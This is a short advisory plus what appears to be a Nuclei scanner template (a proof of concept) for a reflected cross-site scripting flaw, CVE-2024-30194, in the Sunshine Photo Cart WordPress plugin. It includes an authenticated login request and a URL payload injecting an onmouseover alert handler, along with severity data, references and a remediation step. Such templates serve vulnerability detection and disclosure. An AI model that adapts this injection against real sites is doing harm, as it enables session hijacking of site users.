WP Sunshine Sunshine Photo Cart versions up to 3.1.1 contain a cross-site scripting caused by improper neutralization of input during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft malicious input.
PoC
id: CVE-2024-30194
info:
name: Sunshine Photo Cart <= 3.1.1 - Reflected Cross-Site Scripting
author: 0xanis
severity: medium
description: |
WP Sunshine Sunshine Photo Cart versions up to 3.1.1 contain a cross-site scripting caused by improper neutralization of input during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft malicious input.
impact: |
Attackers can execute malicious scripts in users' browsers, leading to session hijacking, defacement, or redirection.
remediation: |
Update to the latest version of Sunshine Photo Cart.
reference:
- https://wpscan.com/vulnerability/8fe6645b-c11d-4075-89c1-f6a01dfb3a0e/
- https://patchstack.com/database/vulnerability/sunshine-photo-cart/wordpress-sunshine-photo-cart-plugin-3-1-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-30194
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-30194
epss-score: 0.00721
epss-percentile: 0.52213
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: wpsunshine
product: sunshine-photo-cart
framework: wordpress
tags: cve,cve2024,wordpress,wp-plugin,xss,sunshine-photo-cart,authenticated,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(tolower(all_headers), "wordpress_logged_in")'
condition: and
internal: true
- raw:
- |
GET /wp-admin/edit.php?post_type=sunshine-gallery&page=sunshine-reports&report=orders%22%20onmouseover=alert(document.domain)%3Bthis.remove()%3B%20style=position:fixed%3Bleft:0%3Btop:0%3Bwidth:100vw%3Bheight:100vh%3B HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "onmouseover=alert(document.domain);this.remove(); style=position:fixed;left:0;top:0;width:100vw;height:100vh;", "Sunshine Photo Cart")'
condition: and
# digest: 4a0a00473045022100d3d84fc4fb5a41517a463081d4524c156f0c38c50eb7fdca07b694dae6f7b8280220746ef2fe5bc304b414f3770df2bff10c91a09544c867ecb9e5123452205994d2:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.